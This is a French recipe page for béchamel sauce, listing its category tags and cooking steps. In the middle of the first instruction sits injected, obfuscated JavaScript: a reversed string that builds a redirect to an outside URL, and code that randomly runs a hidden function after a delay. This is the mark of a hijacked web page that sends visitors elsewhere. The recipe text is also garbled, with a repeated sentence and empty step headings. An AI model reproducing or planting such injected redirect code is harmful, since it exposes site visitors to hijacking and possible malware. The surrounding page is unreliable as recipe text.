Sauce béchamel
2018-02-09- Cuisine : Sauce chaude
- Thématique : Végétarien
- Niveau : Facile
Dans une casserole faites fondre le beurre en ajoutant la farine tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant avec une spatule en bois et obtenir un roux blanc.
Ingrédients
Dans une casserole faites fondre le beurre en ajoutant la farine tout en mélangeant avec une spatule en bois et obtenir un roux blanc.
Versez peu à peu le lait sur feu doux tout en fouettant avec un fouet. Salez, poivrez. Laissez cuire pendant 10 minutes, sans s' arrêter de fouetter, jusqu'à ce que la sauce épaississe. Ajoutez quelques pincées de noix de muscade. Goûtez l'assaisonnement. Cette sauce est parfaite pour faire des lasagnes à la bolognaise, des endives au jambon, des bouchées à la reine, des gratins etc.....Préparation de la recette
Etape 1
Etape 2
Etape 3
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